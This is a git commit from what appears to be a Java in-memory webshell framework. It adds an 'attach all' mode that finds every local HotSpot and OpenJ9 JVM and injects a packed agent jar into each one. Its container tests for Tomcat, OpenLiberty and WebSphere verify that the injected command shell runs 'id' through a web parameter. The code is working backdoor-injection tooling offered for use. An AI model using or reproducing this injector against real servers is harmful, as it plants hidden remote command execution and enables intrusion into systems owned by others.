feat: support agent attacher list java processes and attach all

This commit is contained in:
ReaJason
2026-04-26 21:33:15 +08:00
parent 8b66a83028
commit 8962c855c9
20 changed files with 1028 additions and 20 deletions
+1 -1
View File
@@ -26,7 +26,7 @@ hamcrest = "3.0"
junit-jupiter = "5.14.3" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter
junit-pioneer = "2.3.0"
junit-platform = "1.14.3" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher
testcontainers = "2.0.3" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers
testcontainers = "2.0.4" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers
[libraries]
byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" }
@@ -503,4 +503,52 @@ public class ShellAssertion {
containsString("servletNameTestFilter -> ServletNameTestFilter -> Servlet:[b64, biginteger]")
));
}
@SneakyThrows
public static void testListProcessAndAttachAll(String url, ContainerTestConfig config, String shellType, GenericContainer<?> appContainer) {
String shellTool = ShellTool.Command;
Packers packer = Packers.AgentJarWithJREAttacher;
Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft();
String urlPattern = urls.getRight();
ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = generate(urlPattern, config.getServer(), config.getServerVersion(),
shellType, shellTool, config.getTargetJdkVersion(), shellToolConfig, packer);
// Pack and copy to container
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
Path tempJar = Files.createTempFile("temp", "jar");
Files.write(tempJar, bytes);
String jarPath = "/listProcessTest.jar";
appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
FileUtils.deleteQuietly(tempJar.toFile());
// Test 1: List processes (no args)
Container.ExecResult listResult = appContainer.execInContainer("java", "-jar", jarPath);
String listStdout = listResult.getStdout();
if (listStdout.contains("executable file not found")) {
listResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath);
listStdout = listResult.getStdout();
}
log.info("list processes output:\n{}", listStdout);
System.out.println("list stderr: " + listResult.getStderr());
assertThat("Should find at least one Java process", listStdout.trim(), not(equalTo("")));
assertThat("Should find Java processes", listStdout, not(containsString("No Java processes found")));
// Test 2: Attach all
Container.ExecResult attachResult = appContainer.execInContainer("java", "-jar", jarPath, "all");
String attachStdout = attachResult.getStdout();
if (attachStdout.contains("executable file not found")) {
attachResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath, "all");
attachStdout = attachResult.getStdout();
}
log.info("attach all output:\n{}", attachStdout);
System.out.println("attach all stderr: " + attachResult.getStderr());
assertThat("Attach all should complete with ok", attachStdout, containsString("ok"));
// Test 3: Verify shell injection was successful
String paramName = ((CommandConfig) shellToolConfig).getParamName();
commandIsOk(shellUrl, shellType, paramName, "id");
}
}
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
@@ -59,4 +61,9 @@ public class Tomcat10ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
}
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
@@ -59,4 +61,9 @@ public class Tomcat11ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
}
@@ -2,10 +2,12 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
@@ -58,4 +60,9 @@ public class Tomcat11JRE21ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
@@ -51,4 +53,9 @@ public class Tomcat5ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
@@ -50,4 +52,9 @@ public class Tomcat6ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
@@ -51,4 +53,9 @@ public class Tomcat7ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
@@ -53,4 +55,9 @@ public class Tomcat8ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
@@ -53,4 +55,9 @@ public class Tomcat9ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -50,4 +52,9 @@ public class OpenLiberty18ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -50,4 +52,9 @@ public class OpenLiberty20ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -50,4 +52,9 @@ public class OpenLiberty22ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -50,4 +52,9 @@ public class OpenLiberty25ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -50,4 +52,9 @@ public class WebSphere855ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -50,4 +52,9 @@ public class WebSphere905ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
}
}
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.websphere7;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -46,4 +48,9 @@ public class WebSphere700ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
}
}
@@ -15,6 +15,7 @@
*/
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
@@ -22,13 +23,18 @@ import java.net.MalformedURLException;
import java.net.URISyntaxException;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.security.CodeSource;
import java.security.PrivilegedAction;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.HashSet;
import java.util.List;
import java.util.Properties;
import java.util.Set;
/**
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
@@ -91,6 +97,41 @@ public class Attacher {
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
}
/**
* <p>
* Lists all discoverable Java processes on the local host.
* Supports both HotSpot and OpenJ9 JVMs across Windows, macOS, and Linux.
* </p>
* <p>
* HotSpot processes are discovered by scanning {@code hsperfdata_<user>} directories
* in the system temporary folder and parsing PerfData binary files to extract
* the main class name. OpenJ9 processes are discovered by scanning
* {@code .com_ibm_tools_attach} directories and reading {@code attachInfo} property files.
* </p>
* <p>
* <b>Note</b>: Only processes accessible to the current user are listed.
* Stale entries from crashed JVMs may appear. Processes started with
* {@code -XX:-UsePerfData} will not be discoverable via HotSpot scanning.
* </p>
*
* @return A list of discovered Java process descriptors.
*/
public static List<JavaProcessDescriptor> listJavaProcesses() {
List<JavaProcessDescriptor> processes = new ArrayList<JavaProcessDescriptor>();
Set<String> seenPids = new HashSet<String>();
for (JavaProcessDescriptor descriptor : HotSpotProcessDiscovery.discover()) {
if (seenPids.add(descriptor.getPid())) {
processes.add(descriptor);
}
}
for (JavaProcessDescriptor descriptor : OpenJ9ProcessDiscovery.discover()) {
if (seenPids.add(descriptor.getPid())) {
processes.add(descriptor);
}
}
return processes;
}
/**
* Installs a Java agent on a target VM.
*
@@ -928,4 +969,431 @@ public class Attacher {
}
}
}
/**
* Represents a discovered Java process on the local host.
*/
public static class JavaProcessDescriptor {
/**
* The process ID.
*/
private final String pid;
/**
* The main class name or JAR path, may be empty if unknown.
*/
private final String mainClass;
/**
* The JVM type identifier, e.g. "HotSpot" or "OpenJ9".
*/
private final String vmType;
/**
* Creates a new Java process descriptor.
*
* @param pid The process ID.
* @param mainClass The main class name or JAR path, may be empty if unknown.
* @param vmType The JVM type, e.g. "HotSpot" or "OpenJ9".
*/
public JavaProcessDescriptor(String pid, String mainClass, String vmType) {
this.pid = pid;
this.mainClass = mainClass;
this.vmType = vmType;
}
/**
* Returns the process ID.
*
* @return The process ID.
*/
public String getPid() {
return pid;
}
/**
* Returns the main class name or JAR path. May be empty if unknown.
*
* @return The main class name.
*/
public String getMainClass() {
return mainClass;
}
/**
* Returns the JVM type identifier.
*
* @return The JVM type, e.g. "HotSpot" or "OpenJ9".
*/
public String getVmType() {
return vmType;
}
/**
* {@inheritDoc}
*/
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append(pid);
if (mainClass.length() > 0) {
sb.append(' ').append(mainClass);
}
sb.append(" (").append(vmType).append(')');
return sb.toString();
}
}
/**
* Discovers running HotSpot JVM processes by scanning {@code hsperfdata_<user>} directories
* in the system temporary folder and parsing PerfData v2 binary files.
*/
private static class HotSpotProcessDiscovery {
/**
* The PerfData magic number: {@code 0xcafec0c0}.
*/
private static final int PERFDATA_MAGIC = 0xcafec0c0;
/**
* The directory name prefix for HotSpot PerfData user directories.
*/
private static final String HSPERFDATA_PREFIX = "hsperfdata_";
/**
* The PerfData entry name for the Java command line.
*/
private static final String JAVA_COMMAND_KEY = "sun.rt.javaCommand";
/**
* The data units value for STRING type entries.
*/
private static final byte UNITS_STRING = 5;
/**
* Maximum PerfData file size to read (1 MB), as a safety bound.
*/
private static final int MAX_PERFDATA_SIZE = 1024 * 1024;
/**
* Minimum PerfData file size (v2 prologue is 32 bytes).
*/
private static final int MIN_PERFDATA_SIZE = 32;
/**
* The size of a PerfData v2 entry header in bytes.
*/
private static final int ENTRY_HEADER_SIZE = 20;
/**
* Discovers all HotSpot JVM processes visible to the current user.
*
* @return A list of discovered HotSpot Java process descriptors.
*/
static List<JavaProcessDescriptor> discover() {
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
Set<String> seen = new HashSet<String>();
for (File tmpDir : getTempDirectories()) {
if (!tmpDir.isDirectory()) {
continue;
}
File[] userDirs = tmpDir.listFiles();
if (userDirs == null) {
continue;
}
for (File userDir : userDirs) {
if (!userDir.isDirectory() || !userDir.getName().startsWith(HSPERFDATA_PREFIX)) {
continue;
}
File[] pidFiles = userDir.listFiles();
if (pidFiles == null) {
continue;
}
for (File pidFile : pidFiles) {
String fileName = pidFile.getName();
if (!pidFile.isFile() || !pidFile.canRead() || !isNumeric(fileName)) {
continue;
}
if (!seen.add(fileName)) {
continue;
}
String javaCommand = parsePerfData(pidFile);
result.add(new JavaProcessDescriptor(fileName, extractMainClass(javaCommand), "HotSpot"));
}
}
}
return result;
}
/**
* Returns the list of temporary directories to scan for HotSpot PerfData files.
* On Windows, uses {@code java.io.tmpdir}. On Linux/macOS, uses {@code /tmp}
* and also {@code java.io.tmpdir} if it differs.
*
* @return A list of temporary directories.
*/
private static List<File> getTempDirectories() {
List<File> dirs = new ArrayList<File>();
String osName = System.getProperty("os.name", "");
if (osName.startsWith("Windows")) {
dirs.add(new File(System.getProperty("java.io.tmpdir")));
} else {
dirs.add(new File("/tmp"));
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
dirs.add(new File(javaIoTmpDir));
}
}
return dirs;
}
/**
* Parses a HotSpot PerfData v2 binary file to extract the value of
* {@code sun.rt.javaCommand}.
* <p>
* The PerfData v2 binary format consists of a 32-byte prologue followed
* by a sequence of variable-length entries. Each entry contains a name
* and a data value. This method iterates through entries looking for
* the {@code sun.rt.javaCommand} entry.
* </p>
*
* @param file The PerfData file to parse.
* @return The value of {@code sun.rt.javaCommand}, or empty string if not found.
*/
private static String parsePerfData(File file) {
FileInputStream fis = null;
try {
fis = new FileInputStream(file);
long fileLength = file.length();
if (fileLength < MIN_PERFDATA_SIZE || fileLength > MAX_PERFDATA_SIZE) {
return "";
}
byte[] data = new byte[(int) fileLength];
int totalRead = 0;
int bytesRead;
while (totalRead < data.length
&& (bytesRead = fis.read(data, totalRead, data.length - totalRead)) != -1) {
totalRead += bytesRead;
}
if (totalRead < MIN_PERFDATA_SIZE) {
return "";
}
ByteBuffer buffer = ByteBuffer.wrap(data, 0, totalRead);
// Magic number is always stored in big-endian
buffer.order(ByteOrder.BIG_ENDIAN);
int magic = buffer.getInt(); // offset 0
if (magic != PERFDATA_MAGIC) {
return "";
}
byte byteOrder = buffer.get(); // offset 4
if (byteOrder == 1) {
buffer.order(ByteOrder.LITTLE_ENDIAN);
}
byte majorVersion = buffer.get(); // offset 5
buffer.get(); // offset 6: minor version
buffer.get(); // offset 7: accessible / reserved
if (majorVersion < 2) {
// Only PerfData v2 format is supported
return "";
}
// v2 prologue fields
buffer.getInt(); // offset 8: used
buffer.getInt(); // offset 12: overflow
buffer.getLong(); // offset 16: mod_time_stamp
int entryOffset = buffer.getInt(); // offset 24: entry_offset
int numEntries = buffer.getInt(); // offset 28: num_entries
// Iterate through PerfData entries
int pos = entryOffset;
for (int i = 0; i < numEntries && pos >= 0 && pos + ENTRY_HEADER_SIZE <= totalRead; i++) {
buffer.position(pos);
int entryLength = buffer.getInt();
if (entryLength <= 0 || pos + entryLength > totalRead) {
break;
}
int nameOffset = buffer.getInt();
buffer.getInt(); // vector_length
buffer.get(); // data_type
buffer.get(); // flags
byte dataUnits = buffer.get(); // data_units
buffer.get(); // data_variability
int dataOffset = buffer.getInt();
// Read the entry name (null-terminated UTF-8 string)
int nameStart = pos + nameOffset;
if (nameStart < 0 || nameStart >= totalRead) {
pos += entryLength;
continue;
}
int nameEnd = nameStart;
while (nameEnd < totalRead && data[nameEnd] != 0) {
nameEnd++;
}
String name = new String(data, nameStart, nameEnd - nameStart, "UTF-8");
if (JAVA_COMMAND_KEY.equals(name) && dataUnits == UNITS_STRING) {
// Read the string value
int dataStart = pos + dataOffset;
if (dataStart < 0 || dataStart >= totalRead) {
return "";
}
int dataEnd = dataStart;
while (dataEnd < totalRead && data[dataEnd] != 0) {
dataEnd++;
}
return new String(data, dataStart, dataEnd - dataStart, "UTF-8");
}
pos += entryLength;
}
return "";
} catch (Exception ignored) {
return "";
} finally {
if (fis != null) {
try {
fis.close();
} catch (IOException ignored) {
/* do nothing */
}
}
}
}
/**
* Checks if a string consists entirely of digit characters.
*
* @param str The string to check.
* @return {@code true} if the string is non-empty and contains only digits.
*/
private static boolean isNumeric(String str) {
if (str == null || str.isEmpty()) {
return false;
}
for (int i = 0; i < str.length(); i++) {
if (str.charAt(i) < '0' || str.charAt(i) > '9') {
return false;
}
}
return true;
}
/**
* Extracts the main class name from a {@code sun.rt.javaCommand} value.
* The value format is typically {@code "mainClass arg1 arg2 ..."} or
* {@code "/path/to/app.jar arg1 arg2 ..."}. This method returns the
* first space-delimited token.
*
* @param javaCommand The full Java command string.
* @return The main class or JAR name, or empty string if input is empty.
*/
private static String extractMainClass(String javaCommand) {
if (javaCommand == null || javaCommand.isEmpty()) {
return "";
}
int spaceIndex = javaCommand.indexOf(' ');
return spaceIndex > 0 ? javaCommand.substring(0, spaceIndex) : javaCommand;
}
}
/**
* Discovers running OpenJ9 JVM processes by scanning {@code .com_ibm_tools_attach} directories
* and reading {@code attachInfo} property files.
*/
private static class OpenJ9ProcessDiscovery {
/**
* The directory name used by OpenJ9 for attach API information.
*/
private static final String ATTACH_DIR_NAME = ".com_ibm_tools_attach";
/**
* The file name containing process attach information within each VM directory.
*/
private static final String ATTACH_INFO_FILE = "attachInfo";
/**
* Discovers all OpenJ9 JVM processes visible to the current user.
*
* @return A list of discovered OpenJ9 Java process descriptors.
*/
static List<JavaProcessDescriptor> discover() {
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
for (File attachDir : getAttachDirectories()) {
if (!attachDir.isDirectory()) {
continue;
}
File[] vmDirs = attachDir.listFiles();
if (vmDirs == null) {
continue;
}
for (File vmDir : vmDirs) {
if (!vmDir.isDirectory()) {
continue;
}
File attachInfo = new File(vmDir, ATTACH_INFO_FILE);
if (!attachInfo.isFile() || !attachInfo.canRead()) {
continue;
}
FileInputStream fis = null;
try {
Properties props = new Properties();
fis = new FileInputStream(attachInfo);
props.load(fis);
String pid = props.getProperty("processId");
String displayName = props.getProperty("displayName", "");
if (pid != null && pid.length() > 0) {
result.add(new JavaProcessDescriptor(pid, displayName, "OpenJ9"));
}
} catch (Exception ignored) {
/* do nothing */
} finally {
if (fis != null) {
try {
fis.close();
} catch (IOException ignored) {
/* do nothing */
}
}
}
}
}
return result;
}
/**
* Returns the list of directories to scan for OpenJ9 attach information.
* On Windows, uses {@code java.io.tmpdir}. On Linux/macOS, uses {@code /tmp}
* and also {@code java.io.tmpdir} if it differs. Additionally checks the
* {@code com.ibm.tools.attach.directory} system property.
*
* @return A list of attach directories to scan.
*/
private static List<File> getAttachDirectories() {
List<File> dirs = new ArrayList<File>();
String osName = System.getProperty("os.name", "");
if (osName.startsWith("Windows")) {
dirs.add(new File(System.getProperty("java.io.tmpdir"), ATTACH_DIR_NAME));
} else {
dirs.add(new File("/tmp", ATTACH_DIR_NAME));
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
dirs.add(new File(javaIoTmpDir, ATTACH_DIR_NAME));
}
}
String ibmAttachDir = System.getProperty("com.ibm.tools.attach.directory");
if (ibmAttachDir != null) {
dirs.add(new File(ibmAttachDir));
}
return dirs;
}
}
}
@@ -1,9 +1,46 @@
import java.util.List;
/**
* @author ReaJason
* @since 2025/5/16
*/
public class Main {
/**
* java -jar attach.jar — 列出所有 Java 进程
* java -jar attach.jar <pid> — 注入指定进程
* java -jar attach.jar all — 注入所有 Java 进程(自动跳过自身,单个失败不影响其他进程)
*/
public static void main(String[] args) throws Exception {
if (args.length == 0) {
List<Attacher.JavaProcessDescriptor> processes = Attacher.listJavaProcesses();
if (processes.isEmpty()) {
System.out.println("No Java processes found.");
} else {
for (Attacher.JavaProcessDescriptor process : processes) {
System.out.println(process);
}
}
} else if ("all".equalsIgnoreCase(args[0])) {
List<Attacher.JavaProcessDescriptor> processes = Attacher.listJavaProcesses();
String currentPid = Attacher.ProcessProvider.ForCurrentVm.INSTANCE.resolve();
if (processes.isEmpty()) {
System.out.println("No Java processes found.");
} else {
for (Attacher.JavaProcessDescriptor process : processes) {
if (process.getPid().equals(currentPid)) {
continue;
}
try {
System.out.println("Attaching to " + process + " ...");
Attacher.attach(process.getPid());
System.out.println(" -> Success");
} catch (Exception e) {
System.out.println(" -> Failed: " + e.getMessage());
}
}
}
} else {
Attacher.attach(args[0]);
}
}
}
@@ -15,6 +15,7 @@ package com.reajason.javaweb.packer.jar.attach;/*
*/
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
@@ -22,13 +23,12 @@ import java.net.MalformedURLException;
import java.net.URISyntaxException;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.security.CodeSource;
import java.security.PrivilegedAction;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;
import java.util.*;
/**
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
@@ -53,25 +53,55 @@ public class Attacher {
}
public static void main(String[] args) throws Exception {
if (args.length == 0) {
List<JavaProcessDescriptor> processes = listJavaProcesses();
if (processes.isEmpty()) {
System.out.println("No Java processes found.");
} else {
for (JavaProcessDescriptor process : processes) {
System.out.println(process);
}
}
} else if ("all".equalsIgnoreCase(args[0])) {
List<JavaProcessDescriptor> processes = listJavaProcesses();
String currentPid = ProcessProvider.ForCurrentVm.INSTANCE.resolve();
if (processes.isEmpty()) {
System.out.println("No Java processes found.");
